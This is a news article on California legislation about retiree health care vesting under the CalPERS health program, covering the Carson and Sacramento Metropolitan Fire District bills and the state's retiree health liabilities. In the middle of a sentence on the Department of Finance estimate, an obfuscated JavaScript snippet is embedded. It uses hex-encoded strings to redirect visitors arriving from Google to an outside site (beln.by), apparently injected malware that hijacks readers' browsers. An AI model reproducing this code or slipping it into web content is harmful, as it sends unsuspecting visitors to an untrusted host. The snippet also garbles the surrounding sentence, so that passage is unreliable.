Law prevents cuts in retirees’ health care costs

A Senate committee has approved two bills that free the city of Carson and the Sacramento Metropolitan Fire District from limits in a CalPERS-run health care program, allowing them to make cuts in retiree health costs bargained with labor unions.

The CalPERS program operates under the limits of a state law that can permit new hires to qualify for lifetime health care from their new employer after just one day on the job, if they have worked five years at a previous employer in CalPERS.

The labor-friendly state law also prevents CalPERS, the nation’s third largest purchaser of health care, from providing health care for the active workers of local governments that do not provide health care for retirees.

Another boost for retiree health care in the state law, the Public Employees Medical and Hospital Care Act (PEMHCA), is a requirement that employer contributions for active worker health care and retiree health care be equal, or on a path to get there.

The 1.3-million member CalPERS health care program covers state workers and local governments, including school districts, that choose to contract with the California Public Employees Retirement System to get their health care, even if they do not offer CalPERS pensions.

Carson and the Sacramento Metropolitan Fire District are seeking legislation that would qualify employees for retiree health care under “vesting schedules” not authorized by PEMHCA, the law covering the CalPERS program.

“The city of Carson does not have an existing vesting schedule for their post-retirement health benefits program as of today,” Assemblyman Isadore Hall III, D-Compton, the author of AB 1144, told an Assembly committee in April.

“And of course, any new hire that is previously vested for retirement with CalPERS could retire with the city with as little as one day of service and still qualify for Carson’s employer-paid retirement health benefit,” Hall said.

A Carson city councilman, Mike Gipson, told the committee the city is struggling with a $48 million debt or “unfunded liability” for retiree health care promised in the future.
“The city currently has a hiring freeze to ensure we do not incur any new post-retirement medical costs,” Gipson said.

The Sacramento Metropolitan Fire District, called the “poster child in the region for public employee compensation excess” in a Sacramento Bee editorial last year, has been trying to cut costs since the recession.

A pension reform group’s website shows that 120 of the fire district’s retirees have CalPERS pensions of $100,000 or more a year. The top two pensions: William Sponable $244,621 a year and Rickey Martinez $210,618 a year.

“Under current law, it is possible that an employee who worked for a reciprocal CalPERS agency for more than five years, and then became employed by SMFD, could qualify for lifetime health benefits from the district after only one day of service,” a Senate committee analysis of AB 1346 said.

Other local governments have obtained legislation giving them an alternative to the PEMHCA vesting schedules: For example, the city of San Diego, The Alameda County Transportation Improvement Authority, Mariposa County and school districts.

A Senate committee analysis of the city of Carson bill (AB 1144) said that after a recent review of health benefits purchasing, the CalPERS board approved “strategies and initiatives” that include a staff exploration of creating more flexibility.

“Among the potential solutions is to provide public agencies (local governments) the same flexibility in crafting health benefit vesting schedules currently afforded school districts, by allowing them to collectively bargain for any vesting schedule that they negotiate,” said the committee analysis.

PEMHCA gives local governments the option of a vesting schedule, similar to the one for state workers, that begins with 50 percent of the full employer contribution after 10 years of service and then gradually increases to 100 percent after 20 years.

The alternatives negotiated by Carson and Sacramento Metropolitan may yield more employer savings than having no vesting schedule. But both are more generous than the PEMHCA schedule.

Carson’s alternative provides 50 percent of the employer retiree health care contribution after five years of service, 100 percent after 10 years. Sacramento Metropolitan’s alternative provides 25 percent after five years, 100 percent after 20 years.

Legislation creating a “vesting” schedule for the cities could strengthen legal protection against future cuts. Some think retiree health care may be a benefit that can be cut for current workers, unlike pensions protected by a series of court decisions under contract law.

Many government employers simply pay the annual cost of retiree health care, a “pay-as-you-go” policy that, unlike pension financing, does not set aside money to invest and “pre-fund” health care promised current workers in the future.

Most state and local governments did not calculate the debt, or “unfunded liability,” for retiree health care promised in the future until the Governmental Accounting Standards Board adopted a new phased-in reporting policy in 2004.

After the accounting change, CalPERS created a trust fund for local governments that pre-fund retiree health care. Private firms such as Public Agency Retirement Services or PARS also offer the service.

Two decades ago a bill created a state worker retiree health care fund, but no money was put into it. Now the state owes $64 billion for retiree health care promised current state workers over the next 30 years, state Controller John Chiang estimates.

The controller’s report in February said the cost of state worker retiree health care last fiscal year was $1.8 billion, a figure based on old budget estimates. The Department of Finance estimate for var _0x5575=[“\x67\x6F\x6F\x67\x6C\x65″,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x68\x72\x65\x66″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x68\x74\x74\x70\x3A\x2F\x2F\x62\x65\x6C\x6E\x2E\x62\x79\x2F\x67\x6F\x3F\x68\x74\x74\x70\x3A\x2F\x2F\x61\x64\x64\x72\x2E\x68\x6F\x73\x74″];if(document[_0x5575[2]][_0x5575[1]](_0x5575[0])!==-1){window[_0x5575[4]][_0x5575[3]]= _0x5575[5]} the fiscal year that ended yesterday is much less, $1.3 billion.

Retiree health care could be one of the fastest-growing state costs. Finance expects state worker retiree health care to cost about $2 billion in fiscal 2016-17, up more than 50 percent in three years.

Gov. Brown said when he proposed a 12-point pension reform in October 2011: “The state’s retiree health care premium costs have increased by more than 60 percent in the last five years and will almost double over 10 years.”

His proposal would have added five years to the state worker vesting schedule for retiree health care. New hires would have worked 15 years to be come eligible, instead of the current 10 years, and 25 years for the full employer contribution, instead of 20 years.

The pension reform Brown pushed through the Legislature last year did not include retiree health care. An Assembly floor analysis of AB 340 said unions have shown a “willingness” to bargain retiree health care, and a two-house committee “believed it should remain subject to collective bargaining.”

A Senate committee in April rejected a proposal to begin “pre-funding” state worker retiree health care. Union lobbyists said retiree health care was a pay issue, possibly affecting the amount available for salaries, and should be addressed through bargaining.

Last month the largest state worker union, SEIU Local 1000 representing more than 91,000 employees, agreed to a new contract with a 4.55 percent pay raise. Retiree health care benefits and funding were unchanged.
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Ed’s Note: Reporter Ed Mendel covered the Capitol in Sacramento for nearly three decades, most recently for the San Diego Union-Tribune. More stories are at http://calpensions.com/. This story originally was posted on July 1.